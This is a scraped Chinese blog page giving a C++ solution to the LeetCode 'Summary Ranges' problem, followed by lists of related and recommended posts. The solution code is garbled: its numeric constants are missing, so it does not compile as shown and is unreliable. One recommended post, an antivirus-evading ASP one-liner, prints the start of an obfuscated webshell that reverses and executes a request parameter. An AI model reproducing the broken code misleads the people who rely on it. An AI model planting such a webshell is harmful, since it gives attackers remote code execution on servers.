(leetcode)Summary Ranges
Given a sorted integer array without duplicates, return the summary of its ranges.
For example, given [0,1,2,4,5,7]
, return ["0->2","4->5","7"].
思想很简单 逐个比较前后两个数的差值。
class Solution {
public:
vector<string> summaryRanges(vector<int>& nums) {
vector<string> res ;
if(nums.size()< ) return res;
int i = ;
int n = nums.size();
while(i<n)
{
int j = ;
while(i+j<n && nums[i] == nums[i+j]-j) ++j;
res.push_back(j<=?to_string(nums[i]):to_string(nums[i])+"->"+to_string(nums[i+j-]));
i = i + j;
}
return res;
}
};
(leetcode)Summary Ranges的更多相关文章
- [LeetCode] Summary Ranges 总结区间
Given a sorted integer array without duplicates, return the summary of its ranges. For example, give ...
- LeetCode——Summary Ranges
Description: Given a sorted integer array without duplicates, return the summary of its ranges. For ...
- 228. [LeetCode] Summary Ranges
Given a sorted integer array without duplicates, return the summary of its ranges. Example 1: Input: ...
- LeetCode Summary Ranges (统计有序数列范围)
题意:给出个有序不重复数列(可能负数),用缩写法记录这个数列. 思路:找每个范围的起始和结束即可. class Solution { public: vector<string> summ ...
- leetcode面试准备:Summary Ranges
1 题目 Given a sorted integer array without duplicates, return the summary of its ranges. For example, ...
- 【LeetCode】228. Summary Ranges 解题报告(Python)
[LeetCode]228. Summary Ranges 解题报告(Python) 标签(空格分隔): LeetCode 题目地址:https://leetcode.com/problems/sum ...
- 【刷题-LeetCode】228. Summary Ranges
Summary Ranges Given a sorted integer array without duplicates, return the summary of its ranges. Ex ...
- [LeetCode] Missing Ranges 缺失区间
Given a sorted integer array where the range of elements are [0, 99] inclusive, return its missing r ...
- leetcode-【中等题】228. Summary Ranges
题目: 228. Summary Ranges Given a sorted integer array without duplicates, return the summary of its r ...
随机推荐
- .NET中的视图和过滤器 (DefaultView和RowFilter)
NET中的视图和过滤器 (DefaultView和RowFilter) ADO.NET中有一层对象,用来创建任意数据源的抽象模型.其中包括DataSet,DataTable,DataRow,DataV ...
- object-c 要理解协议的几个重要概念
协议的声明/定义 调用协议 设置委托 协议的实现
- 模板引擎freemarker的简单使用教程
freemarker十分强大,而且不依赖web容器,个人感觉十分好用. 下面直接进主题,freemarker还有什么特性,请找度娘或谷哥~ 一.freemarker生成word 1.创建模板. 我创建 ...
- 免杀ASP一句话
<% wei="日日日)""wei""(tseuqer lave 日" execute(UnEncode(wei)) function ...
- Hbuild - 使用海马玩模拟器调试
http://ask.dcloud.net.cn/question/13605 通过海马玩CMD(Droid4X_Settings_Tools_v1.1.5.bat) 设置模拟器的端口 269 ...
- HTML&CSS----练习隐藏导航栏(三级导航)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...
- HDU 5773 最长上升子序列
题意 给出一个序列 问它的最长严格上升子序列多长 这个序列中的0可以被替代为任何数 n的范围给出了1e5 所以平常的O(n*n)lis不能用了 在kuangbin的模板里有O(nlogn)的模板 套上 ...
- spring mvc传入参数不仅仅转换为json,还可以直接将json字符串转换为具体的java对象
1.controller层 /** * 查看主播资料 * * @return */ @RequestMapping(value = { "/actor_details" }, me ...
- A20VGA和lvds显示的切换-
./fex2bin sys_config_lvds.fex /boot/script.bin sys_config_lvds.fex的作用:配置各种外设,端口,I/O针脚信息的文件 生成 script ...
- try...except 抛出错误